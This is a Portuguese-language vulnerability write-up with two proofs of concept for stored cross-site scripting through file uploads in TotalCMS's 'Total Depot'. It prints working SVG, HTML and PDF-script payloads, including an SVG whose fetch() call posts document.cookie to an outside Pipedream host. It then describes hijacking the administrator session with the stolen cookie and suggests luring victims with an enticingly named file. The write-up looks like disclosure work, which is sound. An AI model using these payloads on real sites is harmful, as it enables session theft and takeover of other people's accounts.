
O TotalCMS é afetado por uma vulnerabilidade de Upload Arbitrário de Arquivos - XSS, que permite Cross-Site Scripting (XSS) Armazenado e também o roubo de cookies de sessão.
Descrição: O TotalCMS é afetado por uma vulnerabilidade de Upload Arbitrário de Arquivos - XSS que permite Cross-Site Scripting (XSS) e também o roubo de cookies de sessão
Vetores de Ataque: Uma vulnerabilidade na sanitização de upload de arquivos do "Total Depot" permite que você envie um arquivo PDF / SVG / HTML com alert oculto de Cross-Site Scripting (XSS) e roube os cookies do usuário.
Vou fazer 2 PoCs:
Começamos com a primeira PoC:
Ao fazer login no painel administrativo (https://www.totalcms.co/demo/total-cms/admin/), iremos ao "Total Depot" no Site de Administração e enviaremos os arquivos PDF / SVG e HTML com o XSS oculto.
Aqui estão os payloads:
É um payload XSS gerado com a ferramenta JS2PDFInjector e um payload JS que contém o seguinte conteúdo:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


Depois de enviados, se clicarmos no link, podemos ver o caminho onde eles são armazenados:

CAMINHO dos arquivos:



E este é o resultado com o Cross-Site Scripting (XSS) dos 3 tipos de arquivos e com os cookies do usuário:



Continuamos com a segunda PoC:
Vamos fingir que somos um cibercriminoso e vamos roubar os cookies de sessão do usuário, que serão enviados para o servidor.
Neste caso, enviei um arquivo como PoC, mas em um caso real, podemos enviar um arquivo com um nome interessante "NBA Tickets" e publicá-lo, para que o usuário vítima me envie os cookies ao executar o arquivo, sem perceber.
Primeiro, realizamos um teste para ver se temos comunicação com um servidor externo.
Aqui está o payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


Como vemos na Request do Pipedream, obtivemos a requisição corretamente.
Aqui está o payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
Executamos:


Como vemos na imagem, obtivemos corretamente os cookies de sessão do usuário.

Modificamos o cookie de sessão para o obtido no Pipedream e salvamos.

Recarregamos o site e nos passamos pelo usuário administrador.
